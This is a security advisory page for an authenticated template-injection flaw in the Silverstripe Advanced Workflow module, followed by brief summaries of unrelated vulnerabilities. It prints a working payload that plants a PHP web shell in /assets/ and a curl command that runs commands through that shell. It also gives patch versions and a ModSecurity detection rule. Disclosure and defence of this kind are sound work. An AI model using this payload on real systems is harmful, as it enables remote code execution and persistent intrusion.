Aug 27, 2026·4 min read·6 visits
An authenticated template injection vulnerability in Silverstripe Advanced Workflow allows high-privileged users to achieve Remote Code Execution via translation tag interpolation.
A Server-Side Template Injection (SSTI) vulnerability in the Silverstripe Advanced Workflow module allows authenticated attackers with workflow authoring permissions to achieve arbitrary code execution. By manipulating the NotifyUsersWorkflowAction.EmailTemplate field, attackers can inject template code that dynamically executes arbitrary PHP commands via the core translation helper interpolation path.
The Silverstripe Advanced Workflow module provides sequential workflow capabilities for content publishing pipelines. Within this module, the NotifyUsersWorkflowAction class is responsible for sending customized email notifications when specific workflow steps are triggered. This class exposes an EmailTemplate field allowing administrators and content authors to define custom text layouts.\n\nThese layout templates are parsed dynamically using the Silverstripe SSTemplateParser engine. This engine is designed to interpret variables, conditional logic, and translation helpers like <%t %>. However, because the engine compiles templates directly into intermediate executable PHP structures, any lack of isolation during the compilation step introduces a significant attack surface.\n\nThis vulnerability belongs to the Server-Side Template Injection (SSTI) class (CWE-1336). By injecting malicious interpolation patterns within the workflow action configurations, a high-privileged attacker can bypass standard template safety constraints and force the template parser to execute system-level commands.
The root cause of the vulnerability lies in how the translation helper tag <%t %> processes default string arguments inside the SSTemplateParser class. The default helper syntax permits authors to set fallback values in translation tags, which are typically wrapped in double quotes. To support dynamic localization values, the engine allowed variable interpolation inside these double-quoted default fallback strings.\n\nWhen the template engine evaluates an interpolation marker like {$Variable}, the parser translates the nested block into compiled PHP operations. The parser failed to validate that the components inside the brackets were restricted to safe variable symbols. Instead, it evaluated the string elements recursively, transforming raw function calls inside the brackets into executable expressions.\n\nBecause the workflow execution sequence compiles these templates directly onto the server before evaluation, an attacker can leverage this path to execute arbitrary PHP actions. By calling native functions like file_put_contents within the interpolation delimiters, the system compiles the command directly into the cached template file, triggering execution automatically whenever the workflow phase is processed.
Analyzing the patch environment exposes how the framework requirements were modified to resolve the flaw. Rather than modifying the Advanced Workflow code directly, the remediation locks the framework core to enforce strict parsing restrictions inside translation blocks.\n\nIn the vulnerable structure, the parser allowed nested functions to execute because it recursively resolved interpolation expressions before sanitizing the translation helper syntax. The following payload illustrates the execution syntax:\n\nhtml\n<%t VulnerableTag \"{$('file_put_contents'('assets/rce.php', '<?php system($_GET[\\'cmd\\']); ?>'))}\" %>\n\n\nTo resolve this, the framework introduced constraints in the core parser to prevent arbitrary method calls within localization strings. In Silverstripe modern environments (v6), this change was pushed into the silverstripe/template-engine package version 1.0.1:\n\njson\n// Required engine update\n{\n \"require\": {\n \"silverstripe/template-engine\": \"^1.0.1\"\n }\n}\n\n\nFor Silverstripe v5 deployments, equivalent security checks were integrated into the core framework package version 5.4.30:\n\njson\n// Required framework update for v5 compatibility\n{\n \"require\": {\n \"silverstripe/framework\": \"^5.4.30\"\n }\n}\n
Exploitation of CVE-2026-54718 requires authenticated credentials with privileges to create or modify advanced workflows. The attacker locates the administrative panel and navigates to the Advanced Workflow setup. From there, they insert a payload into the EmailTemplate field of a NotifyUsersWorkflowAction instance.\n\nThe template execution pipeline is mapped in the following sequence:\n\nmermaid\ngraph LR\n A[\"Attacker Workflow Configuration\"] --> B[\"NotifyUsersWorkflowAction.EmailTemplate\"]\n B --> C[\"SSTemplateParser Processing\"]\n C --> D[\"Translation Tag <%t %> Parsing\"]\n D --> E[\"Unchecked Dynamic Interpolation\"]\n E --> F[\"Server-Side PHP Evaluation (RCE)\"]\n\n\nDuring execution, the template payload writes a custom PHP web shell script into the publicly accessible /assets/ directory. The attacker can then issue shell operations remotely by calling the newly created script directly:\n\nbash\ncurl -s \"https://target-silverstripe-site.com/assets/rce.php?cmd=id\"\n\n\nThis payload effectively establishes persistent access and bypasses standard authorization boundaries to access backend infrastructure parameters.
The definitive mitigation for this vulnerability is upgrading the underlying dependencies of the Silverstripe application. This ensures that the dynamic parser is restricted from compiling function calls within translation blocks.\n\nRun the following command within your application root to fetch safe versions of the framework packages:\n\nbash\ncomposer update silverstripe/framework silverstripe/template-engine symbiote/silverstripe-advancedworkflow\n\n\nFor environments where dependencies cannot be updated immediately, implement the following virtual mitigations:\n\n1. Restrict write permissions on the public /assets/ directories, preventing the execution of dynamic PHP code within these paths.\n\n2. Monitor database changes on the NotifyUsersWorkflowAction tables for configurations containing <%t tags paired with complex bracket notation {$.\n\n3. Deploy the following ModSecurity rule to detect incoming template injection attempts on workflow editing endpoints:\n\nnginx\nSecRule REQUEST_BODY \"(?i)<%t\\s+[\\w\\-]+\\s+\\\".*\\{\\$.*\\}\\\".*%>\" \\\n \"id:4000185,\\\n phase:2,\\\n deny,\\\n status:403,\\\n log,\\\n msg:'SSTI Attempt via Silverstripe Translation Helper Injection'\"\n
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
silverstripe-advancedworkflow symbiote | < 6.4.5 | 6.4.5 |
silverstripe-advancedworkflow symbiote | >= 7.0.0, < 7.1.3 | 7.1.3 |
silverstripe-advancedworkflow symbiote | >= 7.2.0, < 7.2.1 | 7.2.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1336 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 7.2 (High) |
| EPSS Score | N/A (Recently Disclosed) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Available in Regression Tests |
| KEV Status | Not Listed |
The Silverstripe template parser failed to neutralize dynamic expression markers inside translation tag default values, permitting arbitrary PHP function execution.
A client-side open redirect vulnerability has been identified in the Kargo user interface. The flaw resides in the handling of OpenID Connect (OIDC) login and token renewal flows, where the application extracts an unvalidated destination path from the redirectTo query parameter. Attackers can exploit this to redirect authenticated users to arbitrary external domains.
A path traversal and arbitrary file write vulnerability exists in the libreoffice-convert Node.js package in all versions prior to 1.8.2. The convertWithOptions function fails to validate or sanitize the caller-controlled options.fileName parameter, allowing directory traversal sequences to write files outside the temporary directory.
Crossplane's runtime package manager engine contains a Time-of-Check to Time-of-Use (TOCTOU) race condition in its container signature verification pipeline. When Crossplane parses package definitions using dynamic tag-based references, it resolves the tag on the remote OCI registry twice: once during the signature verification step (the 'Check' phase) and once during the fetch and install step (the 'Use' phase). An attacker controlling the destination OCI registry can exploit this vulnerability by serving a validly signed benign image for the verification phase, and then dynamically swapping the tag to point to an unsigned, malicious package during the fetch phase.
A Server-Side Template Injection (SSTI) vulnerability in the Silverstripe UserForms module allows authenticated CMS users with basic form configuration privileges to achieve remote code execution (RCE). The flaw resides in the processing of the email recipient subject field, where user-supplied template translation tags are evaluated by the template engine, leading to arbitrary PHP execution via dynamic variable interpolation.
CVE-2026-54356 is a missing authorization vulnerability (CWE-862) within the backend component of the Budibase low-code platform. The vulnerability exists inside the `@budibase/server` package in versions prior to 3.41.3. An authenticated user with the lowest privilege level can invoke the attachment upload URL endpoint directly and obtain an S3 pre-signed PutObject URL signed with the server's S3 credentials.
CVE-2026-54556 is a high-severity Denial of Service (DoS) vulnerability impacting the Ember HTTP/2 backend of http4s, a popular functional Scala interface for HTTP services. The vulnerability arises from an improper handling of highly compressed HPACK header blocks, which enables unauthenticated remote attackers to trigger severe memory amplification and crash the JVM runtime via an OutOfMemoryError.